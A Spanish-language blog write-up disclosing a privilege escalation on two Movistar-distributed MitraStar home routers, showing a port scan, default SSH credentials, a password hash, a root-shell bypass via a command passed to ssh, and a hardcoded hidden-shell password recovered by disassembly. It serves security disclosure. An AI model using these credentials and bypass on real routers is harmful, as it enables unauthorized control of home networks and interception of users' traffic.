Elevando privilegios en routers domésticos

Introducción

En este breve artículo voy a presentar una vulnerabilidad que he encontrado en algunos modelos de los routers domésticos que distribuye Movistar. Concretamente, los modelos que he podido probar y que son vulnerables a tan temida técnica, son el MitraStar DSL-100HN-T1, al que a partir de ahora le llamare “el viejo”, y el MitraStar GPT-2541GNAC (HGU), al que llamaré “el nuevo” (el motivo de tan ingeniosos nombres es que uno es más moderno que el otro y que quiero poder escribir este artículo más rápido).


“el viejo” con versión ES_113WJY0b16.

MitraStar DSL-100HN-T1




“el nuevo” con versión 1.00(VNJ0)b1.

MitraStar GPT-2541GNAC (HGU)




La vulnerabilidad consiste en elevar privilegios dentro del router, evadiendo la shell de comandos limitada a la que el fabricante nos da acceso y obteniendo una shell con permisos de root.

Accediendo al router

Todo comienza cuando, por casualidad, ignorante de mí, me enteré de que los routers no eran mas que unos dispositivos en los que se ejecutaba Linux y, aprovechando que tenía en casa un par de routers que no estaba usando, decidí investigar cómo funcionaban.
Empecé por probar a hacer un escaneo de puertos a “el viejo” mediante la orden:

nmap -F <ip router>

Obteniendo lo siguiente:

PORT      STATE    SERVICE
21/tcp    open     ftp
22/tcp    open     ssh
23/tcp    filtered telnet
53/tcp    open     domain
80/tcp    open     http
443/tcp   open     https
8080/tcp  open     http-proxy
49152/tcp open     unknown

El router tenía abierto el ssh, eso lo único que quiere decir es que existe un usuario y una contraseña con la que se va a poder entrar ahí dentro.
Tras investigar un poco en los foros de ayuda de Movistar, encontré que había dos posibles usuarios:

  • El usuario 1234 con contraseña: la que aparece debajo del router, que no es la del wifi.
  • El usuario zyad1234 con contraseña: zyad1234

Finalmente solo me dejó acceder con el usuario 1234, aunque a muchos otros routers se puede acceder con el usuario zyad1234.
La sorpresa de verdad vino cuando logré acceso al router, pero no a la shell que yo me imaginaba, sino a una que estaba limitada en todos los sentidos y que me permitía hacer las mismas cosas que se pueden hacer desde la página web del router.

$ ssh 1234@192.168.1.3
1234@192.168.1.3's password: 
 >ls
Can't find command: [ls]. Type '?' for usage
 >?
Valid commands are:
?               exit            save            sys             restoredefault
wan             lan             igmp            wlan            nat
routing         
 >sys
Missing subcommand. Valid subcommands are:
process         userPasswd      passwd          telnetd         state
swversion       swupdate        updatecfg       backupcfg       dumpcfg
sysdiagd        firewall        upnp            reboot          exitOnIdle
ppp             
 >sys swversion
V1.13(WJY.0)b15
 >

Como se puede ver, las opciones eran muy limitadas y ni siquiera podía ver la estructura de archivos que tenía.

Buscando algún bug

Una vez que asumí que esto no iba a ser tan sencillo como hacer un enter y conseguir acceso total al router, opté por empezar a probar con los argumentos de una longitud muy larga para ver si encontraba algún buffer overflow y entrar por ahí al router.

 >aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Cant find command: [aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa]. Type '?' for usage
 >

Pues resulta que ahí los fabricantes lo habían hecho bastante bien y no me dejaban introducir más de 255 caracteres, y no había forma de provocar un “crash” en el software.


Tras la derrota en la búsquedas de bugs, sin querer, introduje el comando “sh” y, para mi sorpresa, la salida fue la siguiente:

 >sh
Password:Password incorrect !
 >
					

Resulta que existe un comando “secreto” que parece ser que te da acceso a otro tipo de shell, pero está protegido por una contraseña, la cual no me sé.

Hasta el router ayuda

Tras una hora sin éxito probando contraseñas, no hubo forma de entrar. Entonces decido probar suerte con el otro router, “el nuevo”.
Resulta que en la versión de este router, que es más moderna que la del otro, y, a pesar de que se sigue manteniendo la misma estructura de shell limitada, tiene bastantes más opciones que la otra:

 > ?
?
help
logout
exit
quit
reboot
brctl
cat
virtualserver
df
dumpcfg
dumpmdmme
dumpeid
meminfo
kill
exitOnIdle
dnsproxy
syslog
echo
ifconfig
ping
ps
sysinfo
tftp
voice
wlan
showwlanstats
natp
firewallrule
showOmciStats
lasercheck
laser
omci
omcipm
dumpOmciVoice
dumpOmciEnet
dumpOmciGem
managedEntities
gemportstats
ponportstatus
ponshowmac
transmitterinfo
arp
defaultgateway
dhcpserver
dhcpcondserv
dhcpcinfo
dns
lan
lanhosts
showlanstats
passwd
ppp
restoredefault
route
save
swversion
uptime
deviceinfo
cfgupdate
cfgdownload
swupdate
showwanstats
counter
lanvidmap
mcpctl
igmp
ponportmirror
igmplandebug
igmpwandebug
vlantable
wlan5
omcipwdog
voippwdog
sskwdog
 >

Este router también limitaba el número de caracteres por comando a 255, así que me podía ir olvidando de encontrar algún buffer overflow.
Así que decidí empezar a investigar los nuevos comandos que traía este router.
Para empezar, este router incluía cat (ínutil porque no sé qué ficheros puedo abrir, aunque si pude comprobar que ciertos archivos existían, como por ejemplo, /bin/sh, o ver el contenido de /etc/passwd sin poder obtener nada destacable) y ps, con el que podía ver los procesos que se estaban ejecutando.

 > cat /etc/passwd
1234:Mt3cwxDUQQ7AY:0:0:Administrator:/:/bin/sh
 > ps
  PID USER       VSZ STAT COMMAND
    1 1234      1700 S    init
    2 1234         0 SW   [kthreadd]
    3 1234         0 SW   [ksoftirqd/0]
    5 1234         0 SW   [kworker/u:0]
    6 1234         0 SW   [migration/0]
    7 1234         0 SW   [migration/1]
    9 1234         0 SW   [ksoftirqd/1]
   11 1234         0 SW<  [khelper]
   54 1234         0 SW   [sync_supers]
   56 1234         0 SW   [bdi-default]
   58 1234         0 SW<  [kblockd]
   75 1234         0 SW   [skbFreeTask]
   92 1234         0 SWN  [kswapd0]
   93 1234         0 SW   [fsnotify_mark]
   94 1234         0 SW<  [crypto]
  151 1234         0 SW   [mtdblock0]
  156 1234         0 SW   [mtdblock1]
  161 1234         0 SW   [mtdblock2]
  166 1234         0 SW   [mtdblock3]
  171 1234         0 SW   [mtdblock4]
  176 1234         0 SW   [mtdblock5]
  181 1234         0 SW   [mtdblock6]
  186 1234         0 SW   [mtdblock7]
  191 1234         0 SW   [mtdblock8]
  202 1234         0 SW<  [linkwatch]
  212 1234         0 SW<  [deferwq]
  219 1234         0 SWN  [jffs2_gcd_mtd2]
  220 1234         0 SWN  [jffs2_gcd_mtd6]
  221 1234         0 SWN  [jffs2_gcd_mtd7]
  222 1234         0 SWN  [jffs2_gcd_mtd8]
  229 1234      2532 S <  /bin/mm.exe
  233 1234      2532 S    /bin/mm.exe
  234 1234      2532 S    /bin/mm.exe
  235 1234      2532 S    /bin/mm.exe
  236 1234      2532 S    /bin/mm.exe
  237 1234      8596 S <  /bin/icf.exe
  256 1234         0 DW   [Pon]
  262 1234      8596 S <  /bin/icf.exe
  263 1234      8596 S <  /bin/icf.exe
  275 1234      1692 D    cat /dev/rgs_logger
  449 1234         0 SW   [bcmFlwStatsTask]
  496 1234         0 SW   [bcmsw_rx]
  515 1234         0 SW   [bcmsw]
  525 1234         0 SW   [wfd]
  529 1234         0 SW   [wl0-kthrd]
  623 1234      6248 S    /bin/smd
  626 1234      6884 S    ssk
  641 1234      1444 S    dnsproxy
  644 1234      1420 S    sntp -s hora.ngn.rima-tde.net -t CET-1CEST,M3.5.0/2:
  669 1234      2048 S    dhcpd
  818 1234      3768 S    rastatus6
 1283 1234         0 SW   [kworker/u:2]
 1320 1234      9144 S    rmt_qcsmngr -m 0
 1495 1234      6776 S    mcpd
 1496 1234      8760 S    omcid -m 0 -v 0 start
 1625 1234      9576 S    omcipmd -m 0
 1626 1234       928 S    cpuload
 1627 1234      7896 S    wlmngr -m 0
 1628 1234      8128 S    voiceApp -m 0
 1629 1234      6644 S    rmt_qcsmngr_watchDog -m 0
 1634 1234      6600 S    /bin/sskwatchdog
 1643 1234      7896 S    wlmngr -m 0
 1644 1234      7896 S    wlmngr -m 0
 1668 1234      8128 S    voiceApp -m 0
 1669 1234      8128 S    voiceApp -m 0
 1697 1234      1700 S    -/bin/sh -l -c consoled
 1699 1234      9036 S    consoled
 1706 1234      1404 S    /bin/wlevt
 1709 1234      2532 S <  /bin/mm.exe
 1710 1234      2532 S <  /bin/mm.exe
 1711 1234      2532 S <  /bin/mm.exe
 1712 1234      2532 S <  /bin/mm.exe
 1713 1234      2532 S <  /bin/mm.exe
 1714 1234      2532 S <  /bin/mm.exe
 1715 1234      2532 S <  /bin/mm.exe
 1718 1234      2532 S <  /bin/mm.exe
 1719 1234      2532 S <  /bin/mm.exe
 1720 1234      2532 S    /bin/mm.exe
 1721 1234      8128 S <  voiceApp -m 0
 1722 1234      8128 S <  voiceApp -m 0
 1723 1234      8128 S    voiceApp -m 0
 1845 1234      1628 S    /bin/lld2d br0
 1850 1234      1552 S    /bin/eapd
 1853 1234      1920 S    /bin/nas
 1863 1234      1652 S    /bin/acsd
 1865 1234      2972 S    /bin/wps_monitor
 1936 1234      1020 S    radvd -C /var/radvd.conf
 2101 1234      9144 S    rmt_qcsmngr -m 0
 2102 1234      9144 S    rmt_qcsmngr -m 0
 2103 1234      9144 S    rmt_qcsmngr -m 0
 2104 1234      9144 S    rmt_qcsmngr -m 0
 7349 1234         0 SW   [kworker/1:0]
 7638 1234         0 SW   [kworker/0:2]
 8290 1234         0 SW   [flush-mtd-unmap]
 8565 1234      9300 S    sshd -m 0
 8578 1234      9308 S    sshd -m 0
 8847 1234         0 SW   [kworker/0:0]
 8956 1234         0 SW   [kworker/1:1]
 9455 1234         0 SW   [kworker/1:2]
 9944 1234         0 SW   [kworker/0:1]
10047 1234      1696 S    sh -c ps
10048 1234      1700 R    ps
25183 1234         0 SW   [kworker/1:3]
30628 1234      1696 S    sh -c /bin/sh
30629 1234      1696 S    /bin/sh
30892 1234      9256 R    ./sshd
32030 1234      1696 S    sh -c /bin32031 1234      1696 S    /bin32079 1234      9256 R    ./sshd -m 0

Tras invesigar un poco con estos comandos que ya conocía me puse a probar con otros que me llamasen la atención, como por ejemplo “deviceinfo”:

 > deviceinfo
Usage: deviceinfo show serialnumber
   deviceinfo show ploampw
   deviceinfo set serialnumber <value>
   deviceinfo set ploampw <value>
   deviceinfo show datetime
   deviceinfo show cpuload
   deviceinfo show meminfo
   deviceinfo show file <path>
   deviceinfo show interface
   deviceinfo --help
 > 

Pues resulta que si ejecutamos deviceinfo show file path nos muestra lo mismo que si hiciéramos un ls path, así que, mediante este método pude hacerme una pequeña idea de cómo estaba estructurado el sistema de archivos:

 > deviceinfo show file /
app          debug        linuxrc      sbin         usrcfg
bin          dev          mnt          sys          var
cfg_upgrade  etc          opt          tmp          vmlinux.lz
data         lib          proc         usr          webs
 > 

A pesar de que todo esto suponía una gran ayuda y que combinado con cat podía obtener información de muchos ficheros, en ningún lado encontré nada relacionado con la misteriosa contraseña que necesitaba para que el comando “sh” me diera acceso y me rendí por una noche.

La gran vulnerabilidad

Al día siguiente retomé con “el viejo” conociendo ya, más o menos, el sistema de archivos y con la esperanza de que, al ser un software más viejo, tuviera más vulnerabilidades sin parchear.
Al hacer ssh decidí haacerlo de una forma especial, haciendo que al conectarse, ejecutara un comando automáticamente:

ssh 1234@192.168.1.2 <comand>

Pues probé a ejecutar con el comando /bin/sh que, al menos, el binario sh existía en "el nuevo".

$ ssh 1234@192.168.1.3 /bin/sh
1234@192.168.1.3's password: 

					

Aquí ocurrió algo extraño, y es que no me mostraba nada, como si estuviera cargando algo.
Lo gracioso fue que decidí probar a ejecutar ls y ¡funcionó!.
Estaba en una shell, que aunque no me mostrara ningún $ como en la mayoría, tenía los comandos más comunes de Linux y encima con permisos de root.
Había conseguido mediante el fallo más tonto del mundo, como es no configurar correctamente el ssh, evitar la shell por defecto y ejecutar una con permisos de administrador.

Atando cabos

Aún tenía la espinita de saber cuál era la contraseña del comando “sh”. Así que me puse a investigar cuál era la shell que se ejecutaba por defecto cuando me conectaba por ssh, y resultó ser un binario de la carpeta /bin/ llamado cmdsh (nombre original donde los haya).
Resulta que también se puede ejecutar scp desde fuera del router y copiar cualquier fichero a mi máquina.
Ni corto ni perzoso, me copié todos los archivos del router por si sacaba algo más de información, aunque mi objetivo era ver qué me decía IDA Pro (Desensamblador) sobre cmdsh.
Resultó trivial desensamblar el código (el procesador es un MIPS) y llegar al punto donde te pide introducir la contraseña, y este fue el resultado:

Dump cmdsh

¡Bingo!, la contraseña es “c93vu02jp4z04”.
Objetivo cumplido ;)

Conclusiones

Cuando pienses que un sistema está muy bien diseñado, no te preocupes, a algún despistado se le habrá olvidado configurar ssh correctamente y desactivar la ejecución de comandos al conectarse.
Bromas aparte, me parece una completa vergüenza que una multinacional como lo es Movistar y una empresa “especializada” en el diseño de routers, comentan fallos tan terribles como estos, y más aún cuando son productos que van a ser distribuidos a millones de personas de las cuales, la gran mayoría no tendrán ni idea de que lo tienen, y que por culpa de eso, alguien puede haber modificado el firmware del router y hacer lo que quiera con los paquetes que pasan por ese router doméstico.
También he podido probar una versión más moderna de los routers que proporciona Movistar y este fallo ya ha sido solucionado al igual que el poder copiar todos los archivos con scp.
Espero que os haya servido.
j0lama